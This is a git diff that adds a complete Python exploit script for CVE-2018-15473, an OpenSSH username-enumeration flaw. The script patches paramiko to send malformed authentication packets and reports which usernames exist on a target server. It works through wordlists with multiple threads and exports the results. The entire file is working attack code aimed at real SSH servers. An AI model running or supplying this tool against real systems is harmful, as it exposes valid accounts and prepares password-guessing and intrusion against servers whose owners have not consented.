diff --git a/ssh_user_enum.py b/ssh_user_enum.py new file mode 100644 index 0000000..428ce3a --- /dev/null +++ b/ssh_user_enum.py @@ -0,0 +1,166 @@ +# Exploit: OpenSSH 7.7 - Username Enumeration +# Author: Justin Gardner +# Date: 2018-08-20 +# Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz +# Affected Versions: OpenSSH version < 7.7 +# CVE: CVE-2018-15473 + +########################################################################### +# ____ _____ _____ _ _ # +# / __ \ / ____/ ____| | | | # +# | | | |_ __ ___ _ __ | (___| (___ | |__| | # +# | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | # +# | |__| | |_) | __/ | | |____) |___) | | | | # +# \____/| .__/ \___|_| |_|_____/_____/|_| |_| # +# | | Username Enumeration # +# |_| # +# # +########################################################################### + +#!/usr/bin/env python + +import argparse +import logging +import paramiko +import multiprocessing +import socket +import sys +import json +# store function we will overwrite to malform the packet +old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] + +# create custom exception +class BadUsername(Exception): + def __init__(self): + pass + +# create malicious "add_boolean" function to malform packet +def add_boolean(*args, **kwargs): + pass + +# create function to call when username was invalid +def call_error(*args, **kwargs): + raise BadUsername() + +# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler +def malform_packet(*args, **kwargs): + old_add_boolean = paramiko.message.Message.add_boolean + paramiko.message.Message.add_boolean = add_boolean + result = old_parse_service_accept(*args, **kwargs) + #return old add_boolean function so start_client will work again + paramiko.message.Message.add_boolean = old_add_boolean + return result + +# create function to perform authentication with malformed packet and desired username +def checkUsername(username, tried=0): + sock = socket.socket() + sock.connect((args.hostname, args.port)) + # instantiate transport + transport = paramiko.transport.Transport(sock) + try: + transport.start_client() + except paramiko.ssh_exception.SSHException: + # server was likely flooded, retry up to 3 times + transport.close() + if tried < 4: + tried += 1 + return checkUsername(username, tried) + else: + print '[-] Failed to negotiate SSH transport' + try: + transport.auth_publickey(username, paramiko.RSAKey.generate(1024)) + except BadUsername: + return (username, False) + except paramiko.ssh_exception.AuthenticationException: + return (username, True) + #Successful auth(?) + raise Exception("There was an error. Is this the correct version of OpenSSH?") + +def exportJSON(results): + data = {"Valid":[], "Invalid":[]} + for result in results: + if result[1] and result[0] not in data['Valid']: + data['Valid'].append(result[0]) + elif not result[1] and result[0] not in data['Invalid']: + data['Invalid'].append(result[0]) + return json.dumps(data) + +def exportCSV(results): + final = "Username, Valid\n" + for result in results: + final += result[0]+", "+str(result[1])+"\n" + return final + +def exportList(results): + final = "" + for result in results: + if result[1]: + final+=result[0]+" is a valid user!\n" + else: + final+=result[0]+" is not a valid user!\n" + return final + +# assign functions to respective handlers +paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet +paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error + +# get rid of paramiko logging +logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) + +arg_parser = argparse.ArgumentParser() +arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address") +arg_parser.add_argument('--port', type=int, default=22, help="The target port") +arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used") +arg_parser.add_argument('--outputFile', type=str, help="The output file location") +arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location") +group = arg_parser.add_mutually_exclusive_group(required=True) +group.add_argument('--username', type=str, help="The single username to validate") +group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through") +args = arg_parser.parse_args() + +sock = socket.socket() +try: + sock.connect((args.hostname, args.port)) + sock.close() +except socket.error: + print '[-] Connecting to host failed. Please check the specified host and port.' + sys.exit(1) + +if args.username: #single username passed in + result = checkUsername(args.username) + if result[1]: + print result[0]+" is a valid user!" + else: + print result[0]+" is not a valid user!" +elif args.userList: #username list passed in + try: + f = open(args.userList) + except IOError: + print "[-] File doesn't exist or is unreadable." + sys.exit(3) + usernames = map(str.strip, f.readlines()) + f.close() + # map usernames to their respective threads + pool = multiprocessing.Pool(args.threads) + results = pool.map(checkUsername, usernames) + try: + outputFile = open(args.outputFile, "w") + except IOError: + print "[-] Cannot write to outputFile." + sys.exit(5) + if args.outputFormat=='list': + outputFile.writelines(exportList(results)) + print "[+] Results successfully written to " + args.outputFile + " in List form." + elif args.outputFormat=='json': + outputFile.writelines(exportJSON(results)) + print "[+] Results successfully written to " + args.outputFile + " in JSON form." + elif args.outputFormat=='csv': + outputFile.writelines(exportCSV(results)) + print "[+] Results successfully written to " + args.outputFile + " in CSV form." + else: + print "".join(results) + outputFile.close() +else: # no usernames passed in + print "[-] No usernames provided to check" + sys.exit(4) +